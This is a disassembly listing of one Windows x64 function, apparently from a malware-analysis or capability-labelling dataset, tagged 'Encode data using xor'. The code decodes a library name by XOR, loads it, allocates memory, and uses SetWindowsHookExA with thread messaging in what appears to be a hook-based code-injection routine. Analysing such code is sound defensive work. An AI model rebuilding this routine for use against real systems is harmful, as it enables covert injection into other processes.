Function at 0x140003694
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 0x18], r8
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov r13, rdx
mov r12d, ecx
mov ecx, WSAGetLastError
xor edx, edx
call fcn.1400012c0
lea edi, [rcx + 6]
mov word [rbp - 0x30], ax
mov ecx, edi
lea edx, [rdi - 0x73]
call fcn.1400012c0
lea r8d, [rdi - 0x10]
mov word [rbp - 0x2e], ax
mov ecx, r8d
lea edx, [rdi - 0x72]
call fcn.1400012c0
lea r9d, [rdi - 8]
mov word [rbp - 0x2c], ax
mov ecx, r9d
lea edx, [rdi - 0x71]
call fcn.1400012c0
lea esi, [rdi - 0x70]
mov word [rbp - 0x2a], ax
mov edx, esi
call fcn.1400012c0
lea ecx, [rdi - 0x46]
mov word [rbp - 0x28], ax
lea edx, [rdi - 0x6f]
call fcn.1400012c0
mov ecx, r8d
mov word [rbp - 0x26], ax
lea edx, [rdi - 0x6e]
call fcn.1400012c0
mov ecx, r9d
mov word [rbp - 0x24], ax
lea edx, [rdi - 0x6d]
call fcn.1400012c0
lea edx, [rdi - 0x6c]
mov word [rbp - 0x22], ax
call fcn.1400012c0
xor ecx, ecx
mov word [rbp - 0x20], ax
lea edx, [rdi - 0x6b]
call fcn.1400012c0
movzx ecx, word [0x140065304]
lea edx, [rdi - 0x6a]
mov word [rbp - 0x1e], ax
call fcn.1400012c0
movzx ecx, word [0x140065306]
lea edx, [rdi - 0x69]
mov word [rbp - 0x1c], ax
call fcn.1400012c0
movzx ecx, word [str.__get_sid]
lea edx, [rdi - 0x68]
mov word [rbp - 0x1a], ax
call fcn.1400012c0
movzx ecx, word [0x14006530a]
lea edx, [rdi - 0x67]
mov word [rbp - 0x18], ax
call fcn.1400012c0
movzx ecx, word [0x14006530c]
lea edx, [rdi - 0x66]
mov word [rbp - 0x16], ax
call fcn.1400012c0
movzx ecx, word [0x14006530e]
lea edx, [rdi - 0x65]
mov word [rbp - 0x14], ax
call fcn.1400012c0
movzx ecx, word [0x140065310]
lea edx, [rdi - 0x64]
mov word [rbp - 0x12], ax
call fcn.1400012c0
movzx ecx, word [0x140065312]
lea edx, [rdi - 0x63]
mov word [rbp - 0x10], ax
call fcn.1400012c0
movzx ecx, word [0x140065314]
lea edx, [rdi - 0x62]
mov word [rbp - 0xe], ax
call fcn.1400012c0
mov word [rbp - 0xc], ax
xor eax, eax
xor r9d, r9d
mov word [rbp - 0xa], ax
mov edx, r9d
movsxd rcx, edx
mov eax, 0x133
add eax, edx
inc edx
xor word [rbp + rcx*2 - 0x30], ax
cmp edx, 0x13
jb 0x140003810
lea rcx, [rbp - 0x30]
mov word [rbp - 0xa], r9w
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.14000332c
mov edx, 0x1000
mov rcx, rax
call fcn.1400013d0
mov r9d, esi
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x14009be60]
lea r15, [r14 + 0x5c]
mov rdi, rax
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x14009be70]
lea rsi, [rdi + 0x5c]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14009be80]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14009be90]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [str.D__H]
movups xmmword [rax + 0x40], xmm0
movsd xmm0, qword [0x14009beb0]
movsd qword [rax + 0x50], xmm0
mov eax, dword [0x14009beb8]
mov dword [rdi + 0x58], eax
mov rax, qword [rbp + 0x40]
mov qword [rdi + 6], r15
mov qword [rsi + 0x10], r13
mov eax, dword [rax + 0x28]
add rax, r13
mov qword [rsi + 8], rax
call fcn.14000332c
mov r9d, reloc.WS2_32.dll_WSACleanup
mov r8, rdi
mov rdx, r14
mov rcx, rax
call fcn.14000136c
mov r9d, r12d
mov r8, rbx
mov rdx, r14
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov rbx, rax
jmp 0x140003935
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r12d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.14000332c
mov r9d, 0x18
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.14000130c
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsi], 2
jne 0x140003900
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.14000332c
mov rdx, r14
mov rcx, rax
call fcn.140001438
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
jmp qword [sym.imp.KERNEL32.dll_VirtualFree]